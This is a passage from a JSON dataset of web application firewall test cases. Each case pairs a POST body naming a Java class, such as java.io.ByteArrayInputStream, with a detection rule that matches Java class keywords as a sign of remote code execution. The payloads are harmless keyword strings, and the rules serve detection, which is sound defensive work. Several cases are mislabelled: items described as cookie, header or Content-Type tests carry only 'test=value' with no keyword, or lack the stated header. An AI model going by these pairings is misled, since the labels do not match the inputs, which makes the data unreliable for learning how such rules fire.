keyword java.io.ByteArrayInputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "java.io.ByteArrayInputStream=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument name includes keyword java.io.ByteArrayInputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie test includes keyword java.io.ByteArrayInputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie name includes keyword java.io.ByteArrayInputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Request header test includes keyword java.io.ByteArrayInputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"java.io.ByteArrayInputStream\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML attribute value includes keyword java.io.ByteArrayInputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">java.io.ByteArrayInputStream</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML element value includes keyword java.io.ByteArrayInputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">java.io.ByteArrayInputStream</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Nested XML element value includes keyword java.io.ByteArrayInputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.io.ByteArrayInputStream" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type text/plain includes keyword java.io.ByteArrayInputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"java.io.ByteArrayInputStream\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg value includes keyword java.io.ByteArrayInputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"java.io.ByteArrayInputStream\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg name includes keyword java.io.ByteArrayInputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.io.ByteArrayOutputStream" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument test includes keyword java.io.ByteArrayOutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "java.io.ByteArrayOutputStream=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument name includes keyword java.io.ByteArrayOutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie test includes keyword java.io.ByteArrayOutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie name includes keyword java.io.ByteArrayOutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Request header test includes keyword java.io.ByteArrayOutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"java.io.ByteArrayOutputStream\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML attribute value includes keyword java.io.ByteArrayOutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">java.io.ByteArrayOutputStream</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML element value includes keyword java.io.ByteArrayOutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">java.io.ByteArrayOutputStream</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Nested XML element value includes keyword java.io.ByteArrayOutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.io.ByteArrayOutputStream" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type text/plain includes keyword java.io.ByteArrayOutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"java.io.ByteArrayOutputStream\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg value includes keyword java.io.ByteArrayOutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"java.io.ByteArrayOutputStream\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg name includes keyword java.io.ByteArrayOutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.io.CharArrayReader" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument test includes keyword java.io.CharArrayReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "java.io.CharArrayReader=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument name includes keyword java.io.CharArrayReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie test includes keyword java.io.CharArrayReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie name includes keyword java.io.CharArrayReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Request header test includes keyword java.io.CharArrayReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"java.io.CharArrayReader\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML attribute value includes keyword java.io.CharArrayReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">java.io.CharArrayReader</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML element value includes keyword java.io.CharArrayReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">java.io.CharArrayReader</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Nested XML element value includes keyword java.io.CharArrayReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.io.CharArrayReader" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type text/plain includes keyword java.io.CharArrayReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"java.io.CharArrayReader\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg value includes keyword java.io.CharArrayReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"java.io.CharArrayReader\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, 